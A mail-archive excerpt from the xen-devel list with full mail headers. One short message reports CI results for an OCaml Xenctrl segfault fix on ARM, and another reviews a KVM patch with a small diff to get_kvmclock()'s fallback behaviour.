 (envelope-from <andrew.cooper@citrix.com>)
 id 6a6904d4-f659-0a2a45080019-34653e1cc233-3
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 21:36:53 +0200
Received: from CH8PR03MB8276.namprd03.prod.outlook.com (2603:10b6:610:2c1::14)
 by CH8PR03MB8273.namprd03.prod.outlook.com (2603:10b6:610:2bc::9)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.223.18; Tue, 28 Jul
 2026 19:36:50 +0000
Received: from CH8PR03MB8276.namprd03.prod.outlook.com
 ([fe80::8420:cc3e:23e9:7a0e]) by CH8PR03MB8276.namprd03.prod.outlook.com
 ([fe80::8420:cc3e:23e9:7a0e%3]) with mapi id 15.21.0245.009; Tue, 28 Jul 2026
 19:36:50 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=citrix.com header.i="@citrix.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=gWht8NxNPLEQ0hiqItkkiLlrJHzthVk/J9clf/AJjVziMpluvprCR7qu84DaSvAWt9V6+pk7iihJBwVBm7grTDqem0pt1K8e7byMZXTKyZMRTVdxnDXJhbRAADFARjTt89An1mHClaUUls/qnuZTm65/RXJIp9k0Ko9AHgZw7ElJzDvy1w3xqDXzlcInqoostKX7garIA7WKj43wP5dTyqX05nxY4yw1IJWtfscXvMLp4EZbhSDnx075Reejff6z7LPWcZZl7Ow5hu4rdh7tEc9ZSNzwB2eWBXt0+EM9dRjItGza1abAiwR2COrUtueTiNBwKt3bun0q/xm5du8vNQ==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=QKV7SF0wlLZn4Mq4ps2W6QB3bWrAInnp6/S2c283v38=;
 b=SxjZdyh/gQsmoII4QyNGjgrQSuU6f+YWyIKv3EEDDspxGRT8JeZCBNOnyvnAHhmAE10ILbMvXWT2gw5eJVyAOh1KUmYIxJMEgAW924ODSWjbH1E/T4kOfhJ2CZgj/U6Z1vHIa6NyA2r+AaqQ/7qdTadxhRMp419DBhsI5LJYjEkBgXKjCKaIbPpjldr+seiDMs0QPjwH9LIKLoiO0k1Y3khZHbUC/Rsd16zfz8Ole4WCiqP7M2I6KqZMXWsZBW7qOm8e1kf3iDfYB0ct3uoCmzVpKaaRpDbQ8Pv8l+/8eIJRZ+zEFDwI74upwyETr4TERDU8fNWSdmGSsBk6WYoIzQ==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass
 smtp.mailfrom=citrix.com; dmarc=pass action=none header.from=citrix.com;
 dkim=pass header.d=citrix.com; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=citrix.com;
 s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=QKV7SF0wlLZn4Mq4ps2W6QB3bWrAInnp6/S2c283v38=;
 b=rCv3AlpXyjoUI0/M+JCXYhsf2g+CYWAqDGmRRPkS3FOs0s16kt3mRVX7o5CgOfMjJg7A4cbAa9bVy72yLY8pF0Xpntyx5EcAj9JPOPkW6QR5CJ2wPA+jIcYo45KF0sYAcTSHL1myCc99rbaZnjQfcIbw+98Qb3ceU8ZTJmMM3Ks=
Authentication-Results: dkim=none (message not signed)
 header.d=none;dmarc=none action=none header.from=citrix.com;
Message-ID: <750c526e-8861-46b1-a404-b94f13781910@citrix.com>
Date: Tue, 28 Jul 2026 20:36:46 +0100
User-Agent: Mozilla Thunderbird
Cc: Andrew Cooper <andrew.cooper3@citrix.com>,
 Andrii Sultanov <andriy.sultanov@vates.tech>,
 Guillaume Thouvenin <guillaume.thouvenin@vates.tech>,
 Julian Vetter <julian.vetter@vates.tech>
Subject: Re: [PATCH for-4.22 0/2] tools/ocaml: Fixes to
 Xenctrl.domain_getinfo{,list}()
To: Oleksii Kurochko <oleksii.kurochko@gmail.com>,
 Xen-devel <xen-devel@lists.xenproject.org>
References: <20260728154830.67734-1-andrew.cooper3@citrix.com>
 <ff751975-3e64-471c-b499-fdb35c3f17c2@gmail.com>
Content-Language: en-GB
From: Andrew Cooper <andrew.cooper3@citrix.com>
Autocrypt: addr=andrew.cooper3@citrix.com; keydata=
 xsFNBFLhNn8BEADVhE+Hb8i0GV6mihnnr/uiQQdPF8kUoFzCOPXkf7jQ5sLYeJa0cQi6Penp
 VtiFYznTairnVsN5J+ujSTIb+OlMSJUWV4opS7WVNnxHbFTPYZVQ3erv7NKc2iVizCRZ2Kxn
 srM1oPXWRic8BIAdYOKOloF2300SL/bIpeD+x7h3w9B/qez7nOin5NzkxgFoaUeIal12pXSR
 Q354FKFoy6Vh96gc4VRqte3jw8mPuJQpfws+Pb+swvSf/i1q1+1I4jsRQQh2m6OTADHIqg2E
 ofTYAEh7R5HfPx0EXoEDMdRjOeKn8+vvkAwhviWXTHlG3R1QkbE5M/oywnZ83udJmi+lxjJ5
 YhQ5IzomvJ16H0Bq+TLyVLO/VRksp1VR9HxCzItLNCS8PdpYYz5TC204ViycobYU65WMpzWe
 LFAGn8jSS25XIpqv0Y9k87dLbctKKA14Ifw2kq5OIVu2FuX+3i446JOa2vpCI9GcjCzi3oHV
 e00bzYiHMIl0FICrNJU0Kjho8pdo0m2uxkn6SYEpogAy9pnatUlO+erL4LqFUO7GXSdBRbw5
 gNt25XTLdSFuZtMxkY3tq8MFss5QnjhehCVP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6yPbxT7CwRS5dcQPzUiuHLK9i
 nvjREdh84qycnx0/6dDroYhp0DFv4udxuAvt1h4wGwTPRQZerSm4xaYegEFusyhbZrI0U9tJ
 B8WrhBLXDiYlyJT6zOV2yZFuW47VrLsjYnHwn27hmxTC/7tvG3euCklmkn9Sl9IAKFu29RSo
 d5bD8kMSCYsTqtTfT6W4A3qHGvIDta3ptLYpIAOD2sY3GYq2nf3Bbzx81wZK14JdDDHUX2Rs
 6+ahAA==
In-Reply-To: <ff751975-3e64-471c-b499-fdb35c3f17c2@gmail.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-ClientProxiedBy: LO4P265CA0206.GBRP265.PROD.OUTLOOK.COM
 (2603:10a6:600:318::18) To CH8PR03MB8276.namprd03.prod.outlook.com
 (2603:10b6:610:2c1::14)
MIME-Version: 1.0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: CH8PR03MB8276:EE_|CH8PR03MB8273:EE_
X-MS-Office365-Filtering-Correlation-Id: 2dadcd01-343a-4033-bf2c-08deecdf9190
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|1800799024|366016|376014|23010399003|22082099003|18002099003|56012099006|11063799006|10067099003|4143699003;
X-Microsoft-Antispam-Message-Info:
	wPcX0qQUDOq+t0U0Zt/pzvTGJY5b5uge8jLk/z7eJ/9lehVeXlG8FzofCTfJ1U6SyX7wTGXcMaO8MyjycLGPowJwyv41weOEU/6o6lf6QiWu6zEWA15ZLGc0cAsZ6agJ08Ex90tCAgCZT0z1TB3I6iaeqKHzASMcLe8iFsSjI7gY+klWqioOht2X2S1cC+8ickvj4t12irGMp9hOVLhbJ22J8jauBfjn1JzdGneAJ6ZnSZukenUgs4nhFCMdIAo96zrO0teYX5K1gfkjYZwdNIFFqO4WaBrZP+FM0SW9x73T707zk2Vvt+HXGNPxSLwNqozZAOX1WXH77jNcXSI7YQcCuQYUcvm3qM0WNLVSWR/K2t+bDN4J4dW3+Aw74O5xUe+yz+axWhsKcffubgEfzml97Ajf2MeC7k6VJ0tvCjLTjNNh8wXSWNxODqJCG/xSI8EHS0O+mZkMwnX0kkiBlLAlbHf9ronP949r55AVb/lp0XDF9xTfruFG2zWBZjFaC66yFn6wclnel++1Aj0Q0ucJEZL9d0pvrCWG2/lLsJYsnFOJ8EOP6fINsJNS7X0JaayklJxKThcRc5OLW25jV6tN1hkr7KYCba0OljhE/AHjRN+FsT4ZMKnHoqj/U2kA5lZWBFkXdlQomU09xsFWRCMgXgGUbcSCV2Z64mtwSHA=
X-Forefront-Antispam-Report:
	CIP:255.255.255.255;CTRY:;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:CH8PR03MB8276.namprd03.prod.outlook.com;PTR:;CAT:NONE;SFS:(13230040)(1800799024)(366016)(376014)(23010399003)(22082099003)(18002099003)(56012099006)(11063799006)(10067099003)(4143699003);DIR:OUT;SFP:1101;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 1
X-MS-Exchange-AntiSpam-MessageData-0:
	=?utf-8?B?dVh2UUNpQzVud2laTVZ5TFl6R3RIV3h0eTFlQjdwRWdtQ1FkRlo1aFJVNVF4?=
 =?utf-8?B?d29tRzNSK0toMFpRcW0yemN4VTJFTWJ4WFhBNStNT1JybkEyWnNFVUNTdWJk?=
 =?utf-8?B?WmpkOWxQNjh0NHhHYWFOR0c4QW0zV29UcENJVzhBdCttNnFjdU1vckQ5TmJM?=
 =?utf-8?B?UkIyVGJyRmxEQzd4UFkraDBYRG1hNmhLZG95NnNPOEtmMnhSQ1pFay8xcjlV?=
 =?utf-8?B?OE5iOXBIZU1IWmdtekJ3a3c3SlFCcWtXWXEzN1l2T3R0TzJ2QUc2SXA0S3do?=
 =?utf-8?B?Mmg1a2xEdFlPZGlPUFlmVExlL3VJdDd3Vm95dHZTKzNDQUQ3KzZ5ZlNzSVpI?=
 =?utf-8?B?TlRkQlNTejgySmxPO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z2tyV09GUTFrNUZ0V0tHU21UM3FxeFlFV0JUdkg2cEVrUUdZ?=
 =?utf-8?B?WC9oS2U4SVl1ZDZqZnBicGhMdG83enkxNzZQbkl0Ym1rT3FMeFFZeFBOcjQ3?=
 =?utf-8?B?cmhNUHRCR0lvNDJKNDFyeFpsRWhENVdjR084VjFhazlpMC8wbWtvSGRUMDVG?=
 =?utf-8?B?dENQZHlhU3ZHWmkxalBiVkFySEc3YWRzd0pTVW5KU2pSTXY5OHJiclg0Wkhx?=
 =?utf-8?Q?xVLSEn5OeCDwCkZA=3D?=
X-OriginatorOrg: citrix.com
X-MS-Exchange-CrossTenant-Network-Message-Id: 2dadcd01-343a-4033-bf2c-08deecdf9190
X-MS-Exchange-CrossTenant-AuthSource: CH8PR03MB8276.namprd03.prod.outlook.com
X-MS-Exchange-CrossTenant-AuthAs: Internal
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 28 Jul 2026 19:36:50.0939
 (UTC)
X-MS-Exchange-CrossTenant-FromEntityHeader: Hosted
X-MS-Exchange-CrossTenant-Id: 335836de-42ef-43a2-b145-348c2ee9ca5b
X-MS-Exchange-CrossTenant-MailboxType: HOSTED
X-MS-Exchange-CrossTenant-UserPrincipalName: oY9BtLHqdxi/+J6oPFHV/9zkWcpZ4v41VX5K5zVDEOetxJU6eubeLE/s7kV+5bCvQcDFBtut7sm1g2m6c5ZOY+UDCTBEJtulpKAUWwJzbqg=
X-MS-Exchange-Transport-CrossTenantHeadersStamped: CH8PR03MB8273
X-purgate-ID: tlsNG-c1860d/1785267413-D735D87B-6B6A492B/10/73395122804
X-purgate-type: spam
X-purgate-size: 769

On 28/07/2026 4:50 pm, Oleksii Kurochko wrote:
>
>
> On 7/28/26 5:48 PM, Andrew Cooper wrote:
>> For 4.22(?). This fixes a segfault in the Ocaml runtime on ARM.
>>
>> It's not a regression vs 4.21, but it is deterministic and easy to fix.
>> Technically patch 1 is sufficient to fix the segfault, but producing an
>> unconditional exception is almost as useless.
>
> For both patches:
>
> Release-Acked-by: Oleksii Kurochko <oleksii.kurochko@gmail.com>

Thanks.Â  I've managed to get some testing in GitlabCI showing the segfault:

Â  https://gitlab.com/xen-project/hardware/xen-staging/-/jobs/15583141354

and things working properly with this series in place:

Â  https://gitlab.com/xen-project/hardware/xen-staging/-/jobs/15583735066

~Andrew


From xen-devel-bounces@lists.xenproject.org Tue Jul 28 23:04:37 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 28 Jul 2026 23:04:37 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1375070.1622345 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woqqR-0002Ts-4L; Tue, 28 Jul 2026 23:04:19 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1375070.1622345; Tue, 28 Jul 2026 23:04:19 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woqqR-0002Tk-1J; Tue, 28 Jul 2026 23:04:19 +0000
Received: by outflank-mailman (input) for mailman id 1375070;
 Tue, 28 Jul 2026 23:04:17 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <3bTVpagYKCdYK62FB48GG8D6.4GEP6F-56N6DDAKLK.P6FHJGB64L.GJ8@flex--seanjc.bounces.google.com>)
 id 1woqqP-0002Te-E2
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 23:04:17 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1woqqO-00CUdH-CM
 for xen-devel@lists.xenproject.org; Wed, 29 Jul 2026 01:04:16 +0200
Received: from [10.42.69.12] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <3bTVpagYKCdYK62FB48GG8D6.4GEP6F-56N6DDAKLK.P6FHJGB64L.GJ8@flex--seanjc.bounces.google.com>)
 id 6a693560-5cb7-0a2a0a5109dd-0a2a450cd6ec-10
 for <xen-devel@lists.xenproject.org>; Wed, 29 Jul 2026 01:04:16 +0200
Received: from [209.85.214.198] (helo=mail-pl1-f198.google.com)
 by tlsNG-d25034.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <3bTVpagYKCdYK62FB48GG8D6.4GEP6F-56N6DDAKLK.P6FHJGB64L.GJ8@flex--seanjc.bounces.google.com>)
 id 6a69356e-f479-0a2a450c0019-d155d6c6f088-3
 for <xen-devel@lists.xenproject.org>; Wed, 29 Jul 2026 01:04:16 +0200
Received: by mail-pl1-f198.google.com with SMTP id
 d9443c01a7336-2ccd1958e8fso5377365ad.2
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 16:04:15 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=google.com header.i="@google.com" header.h="Content-Type:Cc:To:From:Subject:Message-ID:References:Mime-Version:In-Reply-To:Date"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=google.com; s=20251104; t=1785279854; x=1785884654; darn=lists.xenproject.org;
        h=content-type:cc:to:from:subject:message-id:references:mime-version
         :in-reply-to:date:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=1l81sd+1Dt+3WFLZZe7rfpxDHFJTbu6GbcdYA+gInbc=;
        b=f2lH5BEVFiMLq5SIQq06ZtSSCxVZPO1cR1RRWBYPzVMsKncyKWxe9uLoT2BOG39VMA
         FOTZA7K7fRhkDpDUiSpoD51z/x9lX334ayWoSb253/XAh/VoFD2zZGygy8Ij8pW5heWQ
         bOtef4hB8fePcCSM630GWxrybEMI4GUsKIRQrk4u2/+ujL4yuf4FX7dAwRA8YKlXUTbw
         RR3BRoTCQba2iR98CrFNjw85yX3dtYwidtM7PSgMdP5eWMOiKqlSN1VfAVw4axPZqdz0
         V3Zu35u8S/XgoIbdkCNwk9gLcqqEvwA7avhWwYdgs2hzfCIqaTL/GoYqa4fubCWAReAp
         9MgA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1785279854; x=1785884654;
        h=content-type:cc:to:from:subject:message-id:references:mime-version
         :in-reply-to:date:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=1l81sd+1Dt+3WFLZZe7rfpxDHFJTbu6GbcdYA+gInbc=;
        b=HuZU99OHjb4IpJPWX9wWX/6GfkNSbPyA+/+D13ZaVcdRNsthZqmOT/ehx7PddsPzyN
         gnV96Nwu3CcOd7YLPfrzger/kfX1b1gRpewJa2pRbVbncu+sdgPTV5QgmpwxLX1sMIz1
         X4EjjJU2/XMf6UVuNPndhjCjaGaYn85Pw3TTgCs7PevNsDMWkFLKUlHDKonXzahQcHR2
         UYiMbx5c6T+vJveBHemKepAS3LM+0L2yAbm+F5CWQcIEER3ztA3GWNHTky9s9pY+utVJ
         TqLjxrzD/BduBMSVsjwhA4Si6wV39aX2IS6yOTTzi+RAcLLLAUJ82zk99YvL6euFYcwu
         YyRg==
X-Forwarded-Encrypted: i=1; AHgh+RoOQGNhf5i+9HF1kKEvl3tWKBtp4yNN4n1vNXD1eH5esOZJ0LJiTQkxAOvbA1/A9+4RD/Wapfv/bco=@lists.xenproject.org
X-Gm-Message-State: AOJu0YwOakIBibvqCWSwGYS1ztF2ctSkD1ZQN3zSJ+4Qr4R14XaeYQC+
	i7xcWkHOyQ8WM/4YT/mimLDW3gAsxqS06cUphPvQq9DzkwqLTAGqK1Gi6ziIjvo9fDdscmlu8IY
	Arc6UzQ==
X-Received: from plkz12.prod.google.com ([2002:a17:902:708c:b0:2ce:d2e2:393])
 (user=seanjc job=prod-delivery.src-stubby-dispatcher) by 2002:a17:902:ef07:b0:2cb:2b84:f431
 with SMTP id d9443c01a7336-2d015d607d0mr51470645ad.47.1785279853901; Tue, 28
 Jul 2026 16:04:13 -0700 (PDT)
Date: Tue, 28 Jul 2026 16:04:13 -0700
In-Reply-To: <20260728144954.355376-8-dwmw2@infradead.org>
Mime-Version: 1.0
References: <20260728144954.355376-1-dwmw2@infradead.org> <20260728144954.355376-8-dwmw2@infradead.org>
Message-ID: <amk1bREQeZNNW10n@google.com>
Subject: Re: [PATCH v7 07/36] KVM: x86: Restructure get_kvmclock()
From: Sean Christopherson <seanjc@google.com>
To: David Woodhouse <dwmw2@infradead.org>
Cc: Paolo Bonzini <pbonzini@redhat.com>, Jonathan Corbet <corbet@lwn.net>, 
	Shuah Khan <skhan@linuxfoundation.org>, Thomas Gleixner <tglx@kernel.org>, 
	Ingo Molnar <mingo@redhat.com>, Borislav Petkov <bp@alien8.de>, 
	Dave Hansen <dave.hansen@linux.intel.com>, x86@kernel.org, 
	"H. Peter Anvin" <hpa@zytor.com>, Vitaly Kuznetsov <vkuznets@redhat.com>, Juergen Gross <jgross@suse.com>, 
	Boris Ostrovsky <boris.ostrovsky@oracle.com>, Paul Durrant <paul@xen.org>, 
	Jonathan Cameron <jic23@kernel.org>, Sascha Bischoff <Sascha.Bischoff@arm.com>, 
	Marc Zyngier <maz@kernel.org>, Joey Gouly <joey.gouly@arm.com>, Jack Allister <jalliste@amazon.com>, 
	Dongli Zhang <dongli.zhang@oracle.com>, joe.jin@oracle.com, kvm@vger.kernel.org, 
	linux-doc@vger.kernel.org, linux-kernel@vger.kernel.org, 
	xen-devel@lists.xenproject.org, linux-kselftest@vger.kernel.org
Content-Type: text/plain; charset="us-ascii"
X-purgate-ID: tlsNG-d25034/1785279856-03AD4A5B-D60359CE/0/0
X-purgate-type: clean
X-purgate-size: 2524

On Tue, Jul 28, 2026, David Woodhouse wrote:
> When the clock read fails (e.g. clocksource transitioning away from TSC),
> fall back to that path rather than proceeding with uninitialised data or
> spinning in the seqcount loop.

This is not restructuring, it is a logical change.  It's a good logical change,
but it needs to be isolated.  This is what I have locally (spoiler alert; I'm
working backwards a bit):

From: David Woodhouse <dwmw@amazon.co.uk>
Date: Tue, 28 Jul 2026 15:26:35 -0700
Subject: [PATCH] KVM: x86: Fall back to non-master-clock if clockread fails in
 get_kvmclock()

When computing kvmclock and the it's currently in master-clock mode, fall
back to the non-master-clock path if the clock read fils, e.g. if the
kernel's clocksource transitioning away from TSC but ka->use_master_clock
hasn't been udated yet.  The rdtsc() fall back was added (well, kept) in
commit c68dc1b577ea ("KVM: x86: Report host tsc and realtime values in
KVM_GET_CLOCK") purely to avoid uninitialized variables and compilation
problems on 32-bit kernels (already addressed).  In hindsight, keeping the
rdtsc() was a hack and a mistake.

Link: https://lore.kernel.org/all/CAOQ_QsgVqS_PuJo8F10Gg5Xw+tKt+5gDx+kJf1j3CiPO4MAOqg@mail.gmail.com
Signed-off-by: David Woodhouse <dwmw@amazon.co.uk>
[sean: isolate from refactoring changes, write changelog]
Signed-off-by: Sean Christopherson <seanjc@google.com>
---
 arch/x86/kvm/x86.c | 13 ++++++-------
 1 file changed, 6 insertions(+), 7 deletions(-)

diff --git a/arch/x86/kvm/x86.c b/arch/x86/kvm/x86.c
index a0ed0969fcb3..895d3cf7bfcf 100644
--- a/arch/x86/kvm/x86.c
+++ b/arch/x86/kvm/x86.c
@@ -1657,14 +1657,13 @@ static bool __get_kvmclock_master_clock(struct kvm *kvm,
 	if (!tsc_hz)
 		return false;
 
-	if (kvm_get_walltime_and_clockread(&ts, &data->host_tsc)) {
-		data->realtime = ts.tv_nsec + NSEC_PER_SEC * ts.tv_sec;
-		data->flags |= KVM_CLOCK_REALTIME | KVM_CLOCK_HOST_TSC;
-	} else {
-		data->host_tsc = rdtsc();
-	}
+	if (!kvm_get_walltime_and_clockread(&ts, &data->host_tsc))
+		return false;
+
+	data->realtime = ts.tv_nsec + NSEC_PER_SEC * ts.tv_sec;
+	data->flags |= KVM_CLOCK_REALTIME | KVM_CLOCK_HOST_TSC |
+		       KVM_CLOCK_TSC_STABLE;
 
-	data->flags |= KVM_CLOCK_TSC_STABLE;
 	hv_clock.tsc_timestamp = ka->master_cycle_now;
 	hv_clock.system_time = ka->master_kernel_ns + ka->kvmclock_offset;
 	kvm_get_time_scale(NSEC_PER_SEC,  tsc_hz,

base-commit: f8c5e70f5ed58dc9d39db90ecaba0ce76ac52189
--


From xen-devel-bounces@lists.xenproject.org Tue Jul 28 23:06:16 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 28 Jul 2026 23:06:16 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1375077.1622355 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woqsJ-00033J-IB; Tue, 28 Jul 2026 23:06:15 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1375077.1622355; Tue, 28 Jul 2026 23:06:15 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woqsJ-00033C-F5; Tue, 28 Jul 2026 23:06:15 +0000
Received: by outflank-mailman (input) for mailman id 1375077;
 Tue, 28 Jul 2026 23:06:14 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <34jVpagYKCU07tp2yrv33v0t.r31Ct2-stAt00x787.Ct2463ytr8.36v@flex--seanjc.bounces.google.com>)
 id 1woqsI-000336-2N
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 23:06:14 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1woqsH-0041UP-6R
 for xen-devel@lists.xenproject.org; Wed, 29 Jul 2026 01:06:13 +0200
Received: from [10.42.69.8] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <34jVpagYKCU07tp2yrv33v0t.r31Ct2-stAt00x787.Ct2463ytr8.36v@flex--seanjc.bounces.google.com>)
 id 6a6935a9-e002-0a2a0a5209dd-0a2a45089f22-28
 for <xen-devel@lists.xenproject.org>; Wed, 29 Jul 2026 01:06:13 +0200
Received: from [209.85.215.198] (helo=mail-pg1-f198.google.com)
 by tlsNG-c1860d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <34jVpagYKCU07tp2yrv33v0t.r31Ct2-stAt00x787.Ct2463ytr8.36v@flex--seanjc.bounces.google.com>)
 id 6a6935e3-f659-0a2a45080019-d155d7c6c462-3
 for <xen-devel@lists.xenproject.org>; Wed, 29 Jul 2026 01:06:12 +0200
Received: by mail-pg1-f198.google.com with SMTP id
 41be03b00d2f7-cb11535e6a1so200448a12.0
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 16:06:12 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=google.com header.i="@google.com" header.h="Content-Type:Cc:To:From:Subject:Message-ID:References:Mime-Version:In-Reply-To:Date"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=google.com; s=20251104; t=1785279971; x=1785884771; darn=lists.xenproject.org;
        h=content-type:cc:to:from:subject:message-id:references:mime-version
         :in-reply-to:date:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=kIqmps2dhv8tBsBvZD3H17qhoPMotCZtd+Geu7ae0Wc=;
        b=jWPYtpkihLO1u8d8m51+F6C8kiQRwqg6s64tMXeH3r1MoJC1Ad0IKt2FoEZGRAPx31
         TKNjPD6IdnMQCsZ+VRV75rBs6eyto7Wnz5kPXN3CLIqsshBKLoSjJxnktGMap6UBFwRR
         n8+ur4a23FOYe80Jr1Zkw5g/DmUBFRqxNwBxjwW8B8WYG2Wn0OwWhYOv+jA/rqAt0ViC
         YErsLKa8qc4ACSxQ8zgiJ9crCyqX7VquKQOOMXhsu6lSm1PRIC7qPCuKZCzkDda51Q2U
         hRY113HX+E96/kx6GMW+w+g2wXtVSbR1xHPKyEYLG9TEUXju/+Bo2qL56MV67L0ZLrgx
         1BfQ==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1785279971; x=1785884771;
        h=content-type:cc:to:from:subject:message-id:references:mime-version
         :in-reply-to:date:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=kIqmps2dhv8tBsBvZD3H17qhoPMotCZtd+Geu7ae0Wc=;
        b=VfRgrPzwFGmmeakBBaXw23/+3L4TX6fLwzPRUrJKZaBB43zl+Tq6/cPeorHAPw1fZM
         R4ldEUj253Wk0TBOJjiHESrvP7ntlst6V7ngGZAYYjtCpdce1BbV5Tfe8tbH5VNuAAJl
         GGAvKaFhlhJ65fxptugFO4TB3xz1gp1OhjRukJJzzfDbcQ8DTLA4Yc0LmGiOU/fHv6LV
         W1yxBpZL6Sx/9O5Kic1Rbb0Rfiw1/ONJr7gD9+gV6ERXzGcFrykHQQsHbLJ+yWgfxOlO
         s0MsUWwkwes1asKKCRtBaWas1VoJ1qwx9A40TqdJYb1NZqSCoialxozneM6Qu+DdnIto
         RBxw==
X-Forwarded-Encrypted: i=1; AHgh+Rp8Xk/k2x/tY7C/Bq8B9o7PaRsgNHSzGvoaGFJqt2g8kahySQBd0nawnQHSohElMppB8QxEChGwsTI=@lists.xenproject.org
X-Gm-Message-State: AOJu0Yxpkh0TFVO2zkUFyy5OXL1cdKtDzDYQddwMRVGnvZskfneg1mcp
	Lw6VGjihAvPT9d7pfEcc0EAHTS1rwfow8hd7FBep5cqtvYaSbbuNNIuIqASexi8DlFMNubZghDx
	Kp7nDgg==
